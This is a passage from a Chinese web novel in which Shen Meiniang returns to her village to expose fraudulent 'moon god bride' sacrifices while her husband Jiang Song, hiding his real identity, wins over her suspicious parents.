是个很漂亮的小姑娘,看起来只有五六岁,还和沈美娘有点相似。 小姑娘揉了揉额头,连忙道歉:“对不起哦,我不是故意撞你的。” 沈美娘摇头,蹲下帮小姑娘揉了揉额头。 小姑娘眨巴着她和沈美娘相似的眼睛,很是欢喜道:“姐姐,你也是狐狸眼哦,我娘也是狐狸眼,我们的眼睛都很漂亮!” 沈美娘听到这话心中起疑。 一道成熟的女声传来。 穿着藏青镶五彩边衣裳的女人,跑过来抱住小姑娘:“不是和你说了不要乱跑吗?” 小姑娘摇头,表示她并没有乱跑。 女人又教育了小姑娘好几句,才起身略带歉意地看向沈美娘。 但她的笑容在看清沈美娘的脸时滞住。 沈美娘眼中也闪过一丝错愕,随即化成柔柔笑意:“这位夫人可要仔细照顾好女儿。” 女人愣愣点头,忙带着女儿走了,也没有把道歉的话说完。 沈美娘站在原地看着她们母女的背影,眯了眯眼睛—— 丽娘姐姐都有女儿了啊。 沈美娘的记忆被拉回那个潮湿、黏腻,浑身不舒服的夏日。 她听阿娘说丽娘要嫁月神,去搅和了那场仪式后,又偷偷趁着天黑溜进寨子里,敲响了丽娘姐姐的窗户。 这次她没有带茶叶,也没给丽娘带肉饼,因为…… 丽娘开了窗户,她的眼睛哭得像核桃,又红又肿。 她被沈美娘搅乱了成为月神新娘的仪式,但她其实无比庆幸沈美娘来了。 丽娘从小就听说成为月神新娘是至高无上的荣耀,是求都求不来的好福气。 每隔五年一次,只有族中最优秀的女儿家才会被选上。 她从前也如此认为。 直到她被推上祭祀的神坛,直到火从身下烧起来,她的身体感受到被赤焰灼烧的痛苦—— 她好悔啊。 但还好,沈美娘来了。 她大闹了祭祀的现场,说什么世上没有月神,也没有魑魅魍魉,还一桶水浇灭了火堆。 冉丽娘经历了一次“荣耀”的献祭,就后悔了。 太疼了,只是一点点灼伤都那般痛苦,被活活烧死献给月神,又该有多疼。 可爹娘都说这是福气,亲戚们也说是,沈头人也说她把其他三家的女儿家都比了下去,是他们沈氏一族的荣耀。 她只能默默哭泣。 但她的窗棂那晚被人拍打了。 冉丽娘打开窗户,就看到踮起脚够窗台的沈美娘。 她道:“丽娘姐姐,我知道你现在怕了……我可以替你去!” “我去的话,你就不用死了。我死以后,族里肯定也愿意重新接受阿爹和阿娘了!他们就可以搬回寨子里住了!” 沈美娘眼睛笑得像月牙:“我很勇敢的,我不怕疼。” 将近圆满的月亮,在沈美娘身后的天上挂着,如水的月色尽数落在她一人身上。 柔和的,光而不耀的,全都在她身上。 第55章 第55章查案进程45%/姜颂赶…… 冉丽娘抱着女儿快步离开,她怀里女儿有些好奇地问:“阿娘,那个漂亮姐姐也是狐狸眼,她是不是也是我们亲戚呀?像外祖母和姨姨那样?” “不是!”冉丽娘急忙否认,又嘱咐女儿,“沅沅,你记住,今天你看到那个姐姐的事,不能和任何人说起。” “明白吗?” 沅沅点头,又问:“阿爹也不行吗?” “不行。” 沅沅有些困惑地皱眉,五官皱成一团,但还是听冉丽娘的话,乖乖道:“好,沅沅不会说的。” 冉丽娘心里却还是有些害怕。 她当年在沈美娘最需要证人证明清白时,选择了缄口不言。 那时沈美娘总是爱笑的眼睛,被震惊、错愕,还有深深的憎恶和怨恨填满。 这么多年,冉丽娘总在午夜时分,梦到沈美娘的那双眼。 今日再见,她当然一也眼认出了,沈美娘和她相像的狐狸眼。 沈美娘当年背了那般大的罪名,如今她竟还敢回来? 冉丽娘心里既害怕又担心,她害怕沈美娘是来报复她,也报复那些冷眼旁观和诬陷她的人。 但更有可能……她说不定是来报复整座寨子,甚至是他们这里所有信奉月神的人。 但在这些害怕之外,冉丽娘又有几分担心—— 万一美娘不是回来报仇的,却被人捉住了砍头,该怎么办? 沈美娘……本来没做错事。 冉丽娘胡思乱想的时候,沈美娘已经回了客栈,但她心里也还想着旧事。 她当年顶替丽娘去做月神的新娘,可不是真的打算去死。 沈美娘从小就惜命,她又有田幼安这个仵作朋友。 再加上为了反驳阿娘说的什么“神罚”,什么“月神降罪”,沈美娘做过不少求证鬼神是否存在的事。 比如,她小时候跑到这几个山头里,坟最多的那座山去枯坐过一整夜。 那是一个很凉爽的夜晚,她坐在树林里,想见鬼。 如果有鬼的话,那就会有神;如果没有鬼的话,那也没有神。 年岁不大的沈美娘强撑着瞪大眼睛,盯了不远处的坟包看了一整夜。 可惜一整夜,都没有一只鬼出来。 从那天起,沈美娘就知道天底下没有鬼,也没有神,只有人。 她当然不会为了个不存在的神灵去死,还做它的新娘。 沈美娘是打算装成丽娘姐姐,悄悄拿到那些神棍装神弄鬼、招摇撞骗的证据。 但沈美娘没想到,她会意外得知所谓“月神新娘”的残忍真相。 也没想到,在第一次被她搅和仪式后,那些神棍会要求多加十二位“新娘”,来平息月神怒火。 而真正令沈 美娘从小到大养成的善恶观崩塌的是……那十二个人,被她救下后,没有一个人愿意替她证明。 就连丽娘也…… 世上的人大都是见利忘义的,甚至不需要“利”,就可以“忘恩负义”。 沈美娘被人抱住胳膊拽了拽,她这才回过神来,发现是宝儿。 宝儿凶巴巴道:“快去睡觉!” 青词武功那般厉害,都知道熬夜了要回来补觉,沈美娘却不知道。 沈美娘怕了她了:“我马上去。” “你现在就去!”宝儿道。 沈美娘看她像是要吃人的样子,只好起身躺床上去,道:“现在可以了吧。” 宝儿:“你快把眼睛闭上睡觉,你睡着了我就出去。” 沈美娘看宝儿这样,忙道:“好,不过我得先交代你一件事情,交代完了,我保证马上睡!” “那你快说。”宝儿道。 沈美娘道:“你等青词醒来就和她同去蜀中一趟,找到那位蜀中的女商人,与她说,你要买这寨子最需要和常经销到四处的所有货物。” “你买的时候,她如果不肯卖,你就往上抬价,抬高以后,放出风声,让寨子里的商人都知道……” 沈美娘话还没说完,宝儿就道:“我知道!见好就收,等价格往上抬个两成,我就马上走人。” “对,宝儿真聪慧。”沈美娘笑道。 宝儿嘚瑟地笑了笑,才反应过来:“那你呢?你一个人万一不安全怎么办?” 沈美娘摇头:“不会的,我去雇几个打手就是了,再说还有幼安和沈志,他们会照顾我的。” 宝儿听到“幼安”两个字,咬了咬唇,道:“美娘,你是不是总嫌我笨呀,以前在上京做大事你不喊我,只喊青词,现在又只喊幼安……” “才不是!”沈美娘捏了捏宝儿肉乎乎的脸,“我和她们要做的是脏活,咱们宝儿还小,不能跟着我做。” “我不小啦!而且我也想做啊,不然我总觉得,你最好的朋友不是我。”宝儿语气酸酸的。 沈美娘这才知道眼前的小姑娘在想什么,搓了搓宝儿的脸,盯着她道:“你确实不是我最好的朋友……” 看宝儿眼里闪过沮丧,她忙轻笑着把宝儿揽进怀里:“你是我妹妹啊,妹妹和朋友可不一样。” 宝儿听到“妹妹”两个字眼睛一亮,又迅速黯淡下去:“不是,我是奴……” “你就是!”沈美娘打断她的话。 “你忘了啦?咱们现在用的过所上,都是写的‘叶宝儿’和她的姐姐‘叶珍儿’?”沈美娘反问。 宝儿愣愣点头:“好,好哦。” 她抱住沈美娘,小声喊道:“姐姐。” “诶!”沈美娘笑着应道。 她顺手拉住宝儿的手,道:“一起睡会儿吧。” “可我刚起床……” 沈美娘可不管这些,直接道:“睡会儿嘛,觉又不嫌多。” 宝儿想了想觉得她说的有道理,就闭上眼也睡着了。 沈美娘被宝儿“婴儿般的睡眠质量”吓到——原来宋薇书里的话不是开玩笑啊。 真有人这般能睡。 不过宝儿说的也有道理,雇佣的人确实也能用,但总觉得不够特别靠谱。 她之前预计姜颂应该是这两天就能到了,也不知道他现在到哪里了。 应该——不至于迷路吧? 另一边的姜颂没有迷路,但他被一条是不知道从哪里跳出来的狗,挡住了去路。 它看起来好像还是条年纪很大的狗,黄黄的,耳朵尖尖的,是这边最常见的看家狗。 姜颂和他对视了良久,他挪了挪位置,那狗也跟着挪了挪。 这是要做什么?这边的狗还讹人吗? 姜颂拦住身边想拔剑把狗吓跑的知宁。 他还记得美娘说过不要随便拔剑。 这条狗只是有点奇怪,看起来又不像是疯狗,没必要拔剑吓唬它。 姜颂微微蹲下身,问:“你要做什么?想跟我回家吗?” 知宁看姜颂这样,被他吓到——不是,这兄弟已经进化到和狗说话了吗? 爱情果然使人有病。 那狗没有动静。 知宁原本想劝姜颂不要试图和狗讲人话,但他没想到姜颂又开了口:“小狗,那你是需要我帮忙吗?” 这次这个狗居然真的有了反应。 他往前走了几步,又调转头看两人,好像是在看他们有没有跟上去。 姜颂立刻跟上了这条小狗,让知宁也牵着马跟了上来。 小狗见两人懂他的意思了,就撒开腿跑起来,两人也追了上去。 跑了好一段路,小狗才在坐在地上的人身边停下来,乖乖蹲好。 那人看到回来了的狗,还有跟在它身后的两人,摸了摸它道:“你帮我找到人,来帮我啦。” 姜颂看着眼前裤脚被血浸透的人,他好像是小腿受了伤,也不知道严不严重。 这人看起来很高大,就是瘦了点,不然应该会很健壮。 感觉不大像西南这边身量普遍更矫健瘦小的人,他身量高大、浓眉大眼,更像北方的人。 那人抬头,看着姜颂道:“这位公子,我刚才下山的时候脚下踩滑,受了伤。你看,你能不能帮我找个拐棍什么的?” 姜颂点头。 但他看着这人不算年轻的脸,虽不算老人,但也过了壮年,这摔了一跤,说不定会弄严重。 他想了想,道:“这位……老伯,我替您先看看伤吧?我常年在江湖上行走,如果不严重的话,能给你治一点。” 那位老伯点头同意。 姜颂低头帮他仔细检查了一番,道:“还好,骨头没事,只是皮外伤。” 姜颂找知宁要了治跌打的药,就细心帮这位老伯处理了伤口,还仔细上了药。 老伯看姜颂耐心处理伤口的样子,眼里不无感激地赞许道:“听公子口音不像是本地人,倒像是上京人?” 姜颂点头:“老伯您耳朵真尖,您是常年走南闯北的行商吗?” 他其实觉得这老伯看起来就不像商人,寻常商人肯定都是结伴而行,而且也……不至于穿得这般朴素。 可是若不是商人,又为何要一个人到这荒郊野外来? 老伯摇头:“我是农家人,这次出来是去蜀中找我家幺幺的。” “幺幺?”姜颂有些疑惑。 老伯这才反应过来,解释道:“幺幺是我们这边的土话,就是家里最受疼爱的孩子。” “我女儿以前和家里闹了点别扭,从家里跑出来了。我和他娘就商量着,换着出来找她。”老伯道。 姜颂问:“那老伯您这是要去蜀中?” 他又说吉祥话道:“您这次肯定可以找到女儿的!” “没有,我去完蜀中回来了,还是没找到。”老伯语气有些失落。 姜颂想安慰这老伯,却听到他又开口道:“不过肯定可以找到的。再说,我家幺幺最厉害了,就算在外头,肯定也过得很好。” 姜颂听得出老伯话里自我安慰的意味,心里是说不出的怜悯和酸涩。 老伯像是看穿了姜颂的想法,骄傲地抬眼看他:“你可别不信,我家幺幺是几个山头脑袋最灵光的姑娘。” “她现在说不定过的是官家夫人的日子,还说不定在皇宫里当妃子呢!”老伯道。 姜颂看老伯在等他的话,愣了一下,忙点头:“对!她肯定过得很好。” 第56章 第56章有人喜提臭外地的的称号…… 姜颂听完这老伯的故事,恻隐之心更甚。 他想了想,提议道:“老人家,我平日里常常走南闯北,您不如把令嫒的名字告诉我,我帮您寻寻。” “这……”老伯迟疑片刻,还是摇头,“不劳烦这位公子了,我女儿就是闹脾气出去……我自己找就好。” 姜颂觉得这老伯有些奇怪,他女儿离家出走,他帮他找不是会更快吗? 但人 家都拒绝了,姜颂要是再继续追问又显得有些不礼貌。 他看老伯腿上的伤,转了话题:“老伯,您家住哪里呀,若是顺路,我捎您一程。” 老伯没想到姜颂还会提议送他,眼里有些意外。 他估摸着这人应该是哪个大户人家的小公子,才会如此心善。 老伯瞧这公子看起来是个没坏心思的,就把家住何方告诉了他。 姜颂听到老伯说的寨子,心里更加欢喜,道:“老人家,我也要去这里,真是好缘分!” 这老伯也有些意外。 姜颂其实不算外向,但他对“老幼病残孕”一向都比较关照。 这种需要助人为乐的时候,他都会强迫自己话多活泼一点。 姜颂主动让老伯骑到他的马上去。 姜颂想教这老伯怎么骑,却听到他道:“我会骑马。” “我年轻的时候被征过兵,也骑过马。”老伯看姜颂错愕的样子,觉得这人还挺有趣,“你也别老人家、老人家地喊我,我姓沈,你喊我沈伯就好了。” “沈伯?”姜颂喃喃。 这老伯和沈美娘同住一地,又都姓沈,那他会不会知道沈美娘的下落呢? 姜颂追问:“沈伯,敢问你可认识一位叫‘美娘’的女子?” 听到姜颂的话,沈伯手猛地捏住手里的缰绳,又故作无事地放开。 他乐呵呵道:“我们那叫这个娘,那个娘的多了去了,我也不知道公子你说的是哪个‘美娘’。” 沈伯不清楚这人究竟是何来头,当然不会轻易承认——万一这人是来找他幺幺麻烦的呢? 姜颂比比划划,描述道:“她挺高的,比一般女孩子都要高,皮肤白白的,眼睛总是笑着的,让人觉得很亲切。她特别漂亮,站在人堆里,你一眼就能看到她。她脾气也很好,善良正直还很温柔。” 沈伯听这人描述了这么多。 他一会儿觉得这人说的是他女儿,一会儿又觉得这人说的和他那个“皮猴子”女儿挨不上边。 沈伯最后摇头,还不忘调侃姜颂:“我看公子,你这说的跟个仙女儿似的……这位娘子是您夫人吧?” 姜颂害羞地低头,又轻点头:“是。” 沈伯笑意更深。 难怪这人像是在说仙女儿一样,原来是他夫人。 那就不奇怪了。 情人眼里出西施嘛- 青词和宝儿动身前往蜀中后,沈美娘依旧住在客栈,不过她平常没怎么出去走动。 她在等这寨子的财路出问题,那些人再次大搞鬼神的时机。 就像从前每逢收成不好,他们就喜欢祭祀月神,一会儿月神临时又要新娘,一会儿是月神还想要儿女…… 沈美娘从小就觉得奇怪,明明大家都是喊“月神娘娘”,为何还要献祭新娘。 阿娘说月神是没有男女之别的,“娘娘”只是大家的敬称。 沈美娘当时觉得这是胡扯,现在……她依旧觉得这是胡扯。 只是那群神棍们没统一好话术而已。 但只要他们开始搞那套献祭的事,沈美娘就有机会将真相公之于众。 这次她绝对会比十二岁时谨慎百倍千倍。 沈美娘暂时人没出去,但却很清楚外面的事情。 她又给了之前那些小乞丐不少钱,让他们轮着来和她讲寨中每日发生的事。 尤其是那几个,她觉得和她当年被诬陷脱不了干系的人。 这日门突然被人敲了敲,沈美娘以为是今日的小乞丐来了,却没想到打开门看到的却是沈志。 沈美娘注意到男人手里提着食盒,愣了一下,但还是将他迎了进来。 她给沈志倒茶,笑问:“你今日生意好?这般早就收摊呢?” 沈志点头,有些局促地端起沈美娘给他倒的茶喝了一口。 “是有什么事吗?”沈美娘问。 她其实不是很想和沈志独处。 她只把沈志当朋友,她知道自己给不了沈志想要的,但如果拒绝太明显,依他的性格肯定又会觉得是自己做错了。 沈志听到沈美娘的话连忙站起身,把食盒打开,将里面的肉饼放到沈美娘面前。 “这些日子我都留意着,这块肉是难得的鲜美……美娘,你尝尝这肉饼,我特地给你做的。”沈志道。 沈美娘盯着那块肉饼看了好一会儿,才开口道:“沈志谢谢你的心意,但请恕我不能接受。” 沈志眼中闪过受伤的神色。 “我已经有喜欢的人了,我收你的东西,对他,对你,都不好。”沈美娘道。 沈志追问:“你喜欢那人……是你夫君吗?” 见沈美娘点头,沈志还是不甘心道:“可是他这次都没有陪着你一起回来,他当真爱你吗?” 沈美娘道:“是我叫他先不来的,他不是这里的人,晚来些对我的计划更有利。” 沈美娘原还打算安慰沈志几句,却见他主动将食盒合上,道:“美娘,我明白了,你既然已经有了喜欢的人……我不会再纠缠你的。” 沈志见沈美娘有些意外,洒脱一笑,道:“怎么,在你心里,我就是那种挖人墙角的人吗?” 这倒也不是。 只是沈美娘回来观察了这么久,知道沈志对她的喜欢不是一星半点儿,没想到他会这般豁达放下。 沈美娘也没想到沈志现在居然会喜欢她。 两人小时候就是一起捣蛋、挨骂,和寻常发小真没区别,当她回来后察觉到沈志喜欢她的时候,其实也颇为意外。 最后,她只能用时间和距离,让沈志用小时候的一点美好回忆喜欢上了她,来说服自己。 沈温看着沈美娘道:“不过,我真的有些好奇你夫君是个什么样的人?” 那人该是有多幸运,又该是多优秀,才能得到美娘的青眼。 沈美娘想了想,道:“他是很正直善良又温柔的一个人,你们俩说不定见面还能做朋友。” 沈志讲义气,姜颂又讲品德,两个人还都喜欢舞刀弄棒的,他俩说不定真能说到一块去。 沈志听到这里点头。 他也很希望沈美娘的夫君是个很好的人。 那样美娘就可以过得很好,他会输得心服口服。 沈志开玩笑般道:“要是我小时候和你少打点架就好了……” 那样说不定美娘也会喜欢他了。 “你还说,你从小就打不过我。”沈美娘道。 沈志想起小时候的事不由轻笑。 他起身道:“那我先走了,你有什么需要我帮忙的,尽管来找我。为朋友两肋插刀,是我应该做的!” 沈美娘点头,将沈志送到了客栈门口。 沈志提着食盒离开,不禁回想起了一点旧事。 小时候,最初他其实和沈美娘关系很差。 他也骂过沈美娘“孽种”,而沈美娘那时是谁骂她“孽种”,她就报复回去的。 打不赢的大人她就偷偷整,岁数相近的小孩她就见一次打一次,直到把人打到不敢骂她、连连讨饶为止。 沈志那时是一条街上的小乞丐们的头头,未来的地痞流氓老大“候选人”之一,他当然不可能给沈美娘一个丫头片子低头。 于是两人几乎见面就打,沈美娘打架是很豁得出去的,又咬又啃,还会像给鸡拔毛一样逮人头发。 和她打一架,常常到最后头上会秃好几块。 沈志就算是男生,又占了年岁长、身量大的便宜,都占不了上风。 他俩关系转变,源于有一年,他生了病和沈美娘碰面,被她看出来了。 但沈美娘那次没和他打架,也没嘲讽他,就走了。 可能是装瘸子、哑巴骗过太多人的可怜,老天爷有心要惩罚他这个好手好脚却要饭的乞丐。 那次沈志的病迟迟没好,最后差点死掉了。 但他没有。 他再睁开眼时,已经在田仵作家用来引火的草堆里躺着了。 田幼安给他喂了点便宜药草。 但沈志知道救他的人不是田幼安,因为田幼安还给他递了一块肉饼…… 他知道这肉饼是沈美娘阿娘总喜欢给她做的。 沈美娘还总是揣在怀里,给田幼安、冉丽娘送来。 沈志见过田幼安吃的样子,咬一口,好像还会有油水飞溅——也不知道是怎么做到的。 那天沈志才想清楚,他不是讨厌沈美娘,他也不是真的相信她是什么被“神罚”的人。 他是嫉妒沈美娘。 她明明天生六指,是个女孩,还流着一个中原奴隶的血。 可她的阿爹阿娘却没有抛弃她,反而很疼她。 但沈志身体健全,是个男孩,却还是一落地就被家人抛弃了。 只是运气好,被个老乞丐捡到了,想靠他养老送终。 也在那天,沈志发现沈美娘难怪会被父母喜欢。 她那么好,谁又会不喜欢她呢? 客栈里的沈美娘送走沈志后,又听小乞丐说完最近田寨老家打算请仙师为月神做祭祀。 沈美娘听到这里眉梢轻挑。 看来宝儿和青词应该是已经办成了抬高那些货物物价的事了。 寨子里那几家大户为了继续垄断与黔中那些货物的贸易,和这几个寨子许多必须品的生意,花了高价买了商品,却发现这批物品难以售卖,要么砸手里,要么亏本…… 这么大的亏本,该让谁承担呢? 他们不是又只能寻求月神“福泽”了吗? 沈美娘听到小乞丐说的消息,心情好了不少。 她当即决定买点好酒好菜,今晚和阿娘好好吃一顿。 沈美娘提着阿娘爱吃的菜进山,可才走到半山腰,就听到了一阵陌生又熟悉的狗叫声。 她看到大黄摇着尾巴向她飞奔过来,绕着她的膝盖蹭了好几圈,似乎是疑惑她身上熟悉的味道怎么变了。 但等大黄重新认清味道后,就又像从前般“接”她回家了。 沈美娘听阿娘说,阿爹是带着大黄一起出去找她的,那是不是说明…… 沈美娘立刻加快了回家的脚步。 她气喘吁吁回到家,就看到阿爹正在修整从前给她搭的秋千。 “阿爹!” 沈美娘喊了一声,就冲过去用力抱紧他。 沈文在短暂的意外后,也反应过来,眼泪控制不住的往下掉。 “沈文,不是让你把秋千修好,就快来吃饭吗?你要让别人两位恩公等你……”七娘出来吼道。 她看到沈美娘也在,将未完的话咽了回去,道:“幺幺来了啊,快来吃饭,正好今天有客人在。” 沈美娘疑惑:“客人?” 他们家不是几乎从来没什么客人来的吗? 七娘解释道:“对啊,你爹啊不中用,走个路都能摔跤,幸好被路过的好心人帮了。唉,我都懒得说你沈文,一把年纪了,有个当爹的稳重样吗?真是……” “这恩公啊,是上京来的,生得品貌端正,脾性也温和,说话还文绉绉的。当真是个好人。”七娘忍不住赞叹。 沈美娘听到这话,心里就升腾起一种不好的预感。 果然她一进厨房,就看到了姜颂和知宁。 七娘热情给沈美娘介绍道:“你瞧,这就是救了你爹的两位宋公子。” 沈美娘和姜颂对视,彼此都看出了对方眼里的惊讶。 姜颂先反应过来,立刻站起身,道:“沈七娘……不、不,沈……” 姜颂不知道他该怎么喊。 这是沈美娘的娘,可是她又不知道他们俩人是夫妻。 沈美娘看姜颂要说出两人的关系,想开口阻止他承认,但七娘却已经发现了不对劲儿。 她看了看一脸讪笑的沈美娘,再看了看姜颂站得板直到有些僵硬的身板。 七娘问姜颂:“你是我家美娘……在外面所谓的夫君?” 姜颂还没意识到会发生什么,呆呆地点头。 七娘仔细打量了一遍姜颂,她身边的沈文也在跟着打量。 这个宋江江,长得也就这样,又有点木木的,说话还拽些奇奇怪怪的词儿。 沈七娘和沈文对视一眼,达成共识——这个人不行。 “我告诉你,”七娘挡在沈美娘和宋江江中间,看向宋江江,“你和我家幺幺的婚事不作数!” “我……” 姜颂想要开口,又被沈七娘打断:“什么你啊我的,我告诉你,你给我听好了。我们这儿,得参加女儿会,歌儿唱得好的,会用木叶传情的小伙,才有姑娘看得上。” “还得拜月神,大婚得演傩戏,哭嫁才算礼成……你们那些什么三书六礼?在我们这儿都不算!”七娘道。 沈美娘扯了扯她娘的袖子。 七娘看女儿这么护这个姓宋的,心里更来气了。 个臭外地的,把她好好的乖幺幺都带坏了。 “别拉我袖子,”沈七娘冷哼一声,瞥了眼姜颂:“你和我幺幺的婚事,是你锦上添花,我们可不认。” 沈美娘小声道:“那叫趁人之危……” “闭嘴!”沈七娘这下两个人一块训了,“反正,你们俩这门亲事,我是不可能点头的!你个北方来的无知小儿,给我该回哪去回哪去。” 第57章 第57章“她喜欢的。” 沈美娘就知道会这样。 她上次和她娘说了,她已经成婚的事,她娘就不同意,不认她和姜颂这门婚事。 沈美娘这些天也没少试探她娘的口风,但她娘的意思也很明确。 她绝不同意这门婚事。 沈七娘的原话是—— “你一个人在外面,他就没问过你家人吗?他欺负你无依无靠娶了你,不就是在欺负你吗?” 沈美娘听到这话想反驳,但她知道一反驳,就会把她这些年的事情全都牵扯出来……她娘肯定会心疼死的。 但是,沈美娘也不能真看着她娘把姜颂赶出家门,回上京去。 “娘,先吃饭吧,不管怎么说,他也救了爹,是吧?”沈美娘挽住她娘的手道。 沈七娘瞪了她一眼,又觉得沈美娘说的也有道理。 这个人带坏她的幺幺虽然可恶,但也救了幺幺她爹。 算他的功劳勉强抵一下“过”好了。 一顿饭,沈美娘在想等会儿该怎么和她娘解释,又该怎么暗示姜颂别说他的真实身份。 沈七娘和沈文忙着继续挑姜颂刺儿。 比如,这小子吃东西吃那么慢,一看就是干活不利索的。 姜颂则生怕他给沈美娘爹娘留下不好的印象,慢条斯理地吃着东西。 整顿饭吃的最轻松就属知宁了,他觉得沈家父母自己做的腊肉真香,不禁多挑了好多。 于是,姜颂在沈家父母眼里又多了条罪状——他朋友太能吃,那他肯定也很能吃。 太能吃了浪费钱,不好养活。 这个姜颂就是哪里都不好。 这么差劲儿一个人,怎么配得上他们幺幺? 吃完饭,沈美娘就拉住她娘的手,主动道:“阿娘,我有话想和你说。” 两人四目相对,沈七娘原本还想训斥沈美娘,可是看到沈美娘眼里的坚定神色,她又陷入沉默。 这个眼神,她在七年前的沈美娘眼里也见过。 那次是美娘坚持说她没有杀人。 沈七娘原本到嘴边要赶这两个外地人走的话,被她咽了回去。 她看着沈美娘,终是点头:“走吧。” 姜颂看沈七娘凶巴巴的样子,有些担忧地看着沈美娘。 可能是察觉到了他的目光,沈美娘笑着冲他眨了眨眼。 姜颂也笑着点头回应。 “不许看!”七娘又瞪了姜颂一眼。 这个姓宋的,觉得他眼睛大,就在那里故意眨巴是吧? 沈美娘看她娘又想骂姜颂,忙拉着沈七娘往外走。 她道:“娘,咱们过去说话吧。” 等两人进了睡觉的屋,沈七娘才没好气道:“你就这么护着那个小子?” “娘,宋江江不是你说的那种人 ,他很好的,你骂他,他会内耗难受的。“沈美娘小声道。 七娘冷哼道:“什么‘内耗’?再说了,我管他耗不耗的,反正我看他不顺眼。” “娘,我知道你是心疼我。”沈美娘拉住她娘的手撒娇,“我是真的喜欢他,才和他成亲的,不是他趁人之危。” 沈七娘听到这话,显然还是不大相信。 但她也知道沈美娘话说到这份上,就是真的挺喜欢那个姓宋的。 七娘不解:“你喜欢他什么?” “那可多了,阿娘,他会做饭,剑术也很好,还识文断字,长得也好看……总之,娘,他真的是个很好很好的人。”沈美娘道。 她看七娘一脸鄙夷,还是看不上宋江江,就站到她娘面前,比划道:“有人想杀我,他想也没想就帮我挡了上去……” “你在外面怎么会有人想杀你?”七娘注意到沈美娘话里被忽视的部分。 沈美娘眼珠一转,连忙道:“他、他是商人,有次我们遇到山贼,他帮我挡过一剑。” “就在这儿,都出血了,血流了好多好多……” “好啦!”七娘打断沈美娘的话,“还算他有点丈夫的担当,我勉强接受他,行了吧?” 七娘看沈美娘这就要抱她,挡住了她的动作,道:“等会儿我叫他进来问点东西,你不许说话,更不许帮他说话,听到没有?” 沈美娘用力点头。 七娘这才出去,她看到姜颂在帮沈文收拾东西。 两人手脚还挺快,很快就把碗洗了,灶台也擦个干净了。 沈美娘看到她娘先是和她爹爹嘀嘀咕咕,不知道在说些什么。 沈美娘悄悄往姜颂那边挪,想和姜颂先对对话,却被她娘给看到了。 七娘喝了一声:“干什么呢?黏黏糊糊的,有这般分不开吗?” 沈美娘怕被她娘看出什么,只能挤出个笑。 她只能祈祷姜颂等会儿别把所有话都说出来。 尤其是别把他是皇帝的事讲出来。 沈美娘趁她娘继续和她爹在嘀嘀咕咕,又给姜颂使了好几个眼色。 可是姜颂好像一点没懂沈美娘的意思,反而以为沈美娘是在安慰他,回了她几个灿烂的笑容。 不是,他快别笑了。 沈美娘想到等会儿可能会暴露,这下彻底乐不出来了。 七娘和沈文交代完事情,就在院子里挂了灯笼,让其他人都坐好。 她坐在中间,像是审犯人般问姜颂:“宋公子,你是上京人士,家里在上京可有宅院?” 姜颂点头:“有。” 七娘没想到这傻气直往外冒的人,居然在上京有房子。 她又问:“上京的房子可是出了名的贵,我听说书先生说,就连当官的都大有人买不起……宋公子,你家里做什么的啊?竟买得起那里的房子?” 沈美娘听出来阿娘这是在盘姜颂的底细。 她生怕姜颂说实话,又狂给他使眼色。 结果,这次被七娘看到了,她对沈美娘道:“你一直眨什么眼睛?眼睛若是被夜风吹得疼,就先回你屋里睡觉去。” “不疼不疼,就是有点酸了。”沈美娘只能放弃给暗示姜颂。 七娘继续刚才的问题:“宋公子,你说啊?你这欲止又言的,该不会是编谎话骗我吧?” 沈美娘这次都不敢提醒她娘,把欲言又止说成欲止又言了。 她只想着,姜颂要是从实交代了,她等会儿该怎么哄爹娘,才不叫他们心疼难过。 姜颂道:“我家是商人,我娘留下来了一些商铺,她是游侠,在江湖里也有些名气。” 沈美娘就知道姜颂肯定会……嗯? 姜颂居然撒谎呢?他刚才看懂她给他使的眼色呢? 七娘又问:“商人?‘士农工商’,那你可是高攀我家幺幺哦,你以后可得逢年过节,祭奠的时候,感谢你家祖宗保佑你娶了我幺幺。” 姜颂乖巧点头。 沈美娘她爹沈文在旁边“扮红脸”,笑道:“别说那么难听,商人好啊,商人有钱,养得起咱家幺幺。” 就在沈美娘松了口气的时候,又听到她娘问:“商人,那是做什么贸易的,名下有几家商行,几个铺子,来来往往道上、官场有没有人给你家撑腰啊?” 姜颂愣了一下,忙道:“是贩盐……” 他想了想,改口道:“卖糖,也卖一点点盐,自然是有官家背景的。” 先帝在位时改了本朝的“官方专利”的禁榷制度,允许私人也能参与官盐的贩卖,可谓“官私分利”。 这个姓宋的,家里能做这生意,倒也难怪他一个商人能在上京买的上宅院。 七娘冷笑一声:“那你还当真是有本事。” 沈美娘松了口气。 她知道这是姜颂编的假身份,暂时把她娘骗了过去。 七娘又问:“你和我家幺幺怎么认识的?” 姜颂听到这话,有些害羞地挠了挠头:“我在外行商,有次多管闲事,被黑店的人给教训了……幸好沈娘子救了我。” “我看沈娘子人机灵,就带着她和我一起做生意,她自己生意也做得很好,风生水起,把我都比下去了。”姜颂半真半假道。 七娘听到这话,显然也信了。 她只好道:“好吧,看你还算是清白人家的孩子,你这门婚事——” 沈美娘和姜颂都看向七娘,等她点头同意。 七娘却道:“我观察观察。” 姜颂失望了一下,然后立刻恢复礼貌点头:“沈伯母,我会努力的,让您知道把美娘交给我是件很对的事情!” 沈文在一旁赞叹道:“有志气。” 沈七娘瞪了他一眼,又看向姜颂:“谁让你喊我伯母的?寨子里的人都叫我七娘,你也这么叫,听到了吗?” 姜颂连连点头。 七娘道:“还有,不要以为你是上京来的,有几个铜板,就不得了。你去这十八寨子打听打听,我沈七娘的泼辣名头那可是默默无闻,你要是敢欺负我家幺幺,看我不把你剁了喂狗。” 一直蹲在沈美娘身边的大黄,还适时的“汪汪”叫了两声。 这下就算沈七娘话里又有说错的词儿,姜颂也能听懂她的意思了。 沈七娘以为这人会有点害怕,却没想到他也一脸坚定:“好,七娘您放心,我一定会好好照顾美娘的。” 姜颂满脸认真,让沈七娘不由疑惑。 她这话说的还不够吓人吗? 沈美娘却在心里偷笑。 这个人,还真是一如既往的“真诚”呢。 沈七娘问完姜颂话,沈美娘也得回客栈去了。 姜颂立刻起身,送她下山去了。 这次沈七娘倒是难得没为难他,只说是让他把沈美娘好好送到客栈,才准回来。 沈文不解,她就敲了敲沈文的头,道:“我是看不上那小子,但幺幺喜欢,我能怎么办?” 这两人一两个月没见面了,是得让他们说说话,谈谈心。 那边的姜颂帮沈美娘提灯照路,纠结了一会儿,才问:“你这段日子,过得还好吗?” “我很好。”沈美娘反问,“你呢?” 姜颂:“我也很好。” 沈美娘觉得奇怪,她这次把姜颂抛下,又让沈温告知他自己逃跑的真相——姜颂就不生气吗? 沈美娘问出了她的困惑。 姜颂却有些得意地扬了扬头:“我才不是那般小气的人。” 